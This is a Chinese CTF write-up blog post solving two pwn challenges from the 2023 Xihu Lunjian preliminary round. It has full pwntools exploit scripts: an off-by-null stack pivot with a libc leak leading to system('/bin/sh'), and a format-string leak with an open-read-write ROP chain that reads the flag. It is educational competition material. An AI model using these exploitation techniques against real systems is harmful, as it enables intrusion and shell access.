2023 西湖论剑初赛 pwn wp

感想:虽然在电脑前坐了八小时才写出来一道题而且从中午开始头疼止痛药还在阳的时候吃完了导致晚上头疼失眠还没吃午饭但出flag的时候感觉值了!!!
真正的感想:好坐牢好坐牢但终于没有爆零了啊哈哈哈哈哈哈我不是fw我好快乐哈哈哈哈哈哈哈(一些发疯文学)

babycalc

你懂8小时一道题的含金量~o( =∩ω∩= )m

静态分析

main函数,init_设置缓冲区,output输出一些东西,真正的主函数是cal

后半段首先看到一堆数值判断,z3解个方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18')
solver = Solver()
solver.add(v5 * v4 * v3 - v6 == 0x8D56)
solver.add(v3 == 0x13)
solver.add(v5 * 0x13 * v4 + v6 == 0x8DE2)
solver.add((v13 + v3 - v8) * v16 == 0x8043)
solver.add((v5 + v4 * v3) * v6 == 0xC986)
solver.add(v9 * v8 * v7 - v10 == 0xF06D)
solver.add(v10 * v15 + v4 + v18 == 0x4A5D)
solver.add(v9 * v8 * v7 + v10 == 0xF1AF)
solver.add((v8 * v7 - v9) * v10 == 0x8E03D)
solver.add(v11 == 0x32)
solver.add((v9 + v8 * v7) * v10 == 0x8F59F)
solver.add(v13 * v12 * v11 - v14 == 0x152FD3)
solver.add(v13 * v12 * v11 + v14 == 0x15309D)
solver.add((v12 * v11 - v13) * v14 == 0x9C48A)
solver.add((v11 * v5 - v16) * v12 == 0x4E639)
solver.add((v13 + v12 * v11) * v14 == 0xA6BD2)
solver.add(v17 * v16 * v15 - v18 == 0x8996D)
solver.add(v17 * v16 * v15 + v18 == 0x89973)
solver.add(v14 == 0x65)
solver.add((v16 * v15 - v17) * v18 == 0x112E6)
solver.add((v17 + v16 * v15) * v18 == 0x11376)
print(solver.check())
print(solver.model())

方程组解

1
[v3 = 19,v11 = 50,v14 = 101,v13 = 212,v16 = 199,v6 = 70,v4 = 36,v5 = 53,v9 = 17,v17 = 24,v15 = 118,v18 = 3,v7 = 55,v12 = 131,v10 = 161,v8 = 66]

利用重点之数值输入部分:

  • 向buf[208]写入0x100字节且在输入最后补空字节
  • 由i控制输入数值写的位置
  • 每个数字占一字节

buf存在溢出,i可控,当输入0x100时能溢出一个空字节到rbp

思路分析

这道题的利用点主要有两个:

  • buf溢出控制i能实现向前写无数字节或向后写一字节
  • 向buf输入0x100字节时能实现of by null将rbp的最低位置零

在最开始做的时候我有想到of by null将rbp最低位置零会是一个利用点,但因为栈地址未知所以把这个想法否了。后来因为想不到控制i怎么利用又找回了这个想法,进一步想到利用栈迁移有几率让rsp落在buf内,但由于本人对爆破有偏见所以又将这个想法搁置了(╯▔皿▔)╯。后来实在没法推进跟学长说了这个想法才发现思想有问题(╯‵□′)╯︵┻━┻,记录一下学长的至理名言警醒自己o(TヘTo)

最后推进这个想法证明可行(浪费好多时间越想越气╰(‵□′)╯)

步骤

  • 第一次栈迁移泄露libc基址然后返回0x400c1b(需要有正常的rbp所以不能直接返回cal,返回0x400c1a会导致后面的printf无法正常执行不知道为啥)
  • 第二次栈迁移执行system(‘/bin/sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#from LibcSearcher import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

p=remote('tcp.cloud.dasctf.com',24101)
#p=process('./babycalc')
elf=ELF('./babycalc')
#gdb.attach(p)
v=[19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
s=b''
for i in v:
s+=i.to_bytes(1,'little')
print(s)
ret_addr=0x400c19
pop_rdi=0x400ca3
payload=b'24'+b'\x00'*6+p64(ret_addr)*21+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400c1b)+s+b'\x00'*28+b'\x38'+b'\x00\x00\x00'
p.sendafter(b'number-1:',payload)
p.recvuntil(b'good done\n')

#leak libc
x=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
puts_addr=u64(x)
print(hex(u64(x)))
#libc=LibcSearcher("puts",puts_addr)
libcbase=u64(x)-0x06f6a0
print(hex(libcbase))

#system('/bin/sh')
system_addr=libcbase+0x0453a0
bin_sh_addr=libcbase+0x18ce57
shellcode=b'24'+b'\x00'*6+p64(ret_addr)*22+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+s+b'\x00'*28+b'\x38'+b'\x00'*3
p.send(shellcode)
#p.recvuntil(b'good done\n')
p.interactive()
#pause()

Message Board

思路

开了沙箱,一个格式化字符串漏洞用于泄露libc基址和栈地址,0x10的溢出栈迁移到v7内布置的rop链进行orw。没啥难的不说了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

#p=process('./pwn')
#gdb.attach(p)
p=remote('tcp.cloud.dasctf.com',21495)
libc=ELF('./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
p.sendafter(b'Welcome to DASCTF message board, please leave your name:',b'%p,%31$p')
p.recvuntil(b'Hello, ')
s1=int(p.recvuntil(b',')[:-1].decode(),16)
s2=int(p.recvuntil(b'Hello')[:-5].decode(),16)
v7=s1+0x10
print(hex(v7))
libcbase=s2-0xc1083+0x9d000
print(hex(libcbase))
open_addr=libcbase+libc.symbols['open']
read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']
bss=0x4040b0
pop_rdi_addr=0x401413
pop_rsi_addr=0x2601f+libcbase
pop_rdx_addr=0x142c92+libcbase
payload=b'./flag\x00\x00'+p64(pop_rdi_addr)+p64(v7)+p64(pop_rsi_addr)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_addr)+p64(bss)+p64(pop_rdx_addr)+p64(0x40)+p64(read_addr)
payload+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(bss)+p64(pop_rdx_addr)+p64(0x40)+p64(write_addr)
payload+=b'Q'*16
payload+=p64(v7)+p64(0x4013a2)
p.sendafter(b'Now, please say something to DASCTF:\n',payload)
p.interactive()

2023 西湖论剑初赛 pwn wp
http://akaieurus.github.io/2023/02/03/2023西湖论剑初赛pwn-wp/
作者
Eurus
发布于
2023年2月3日
许可协议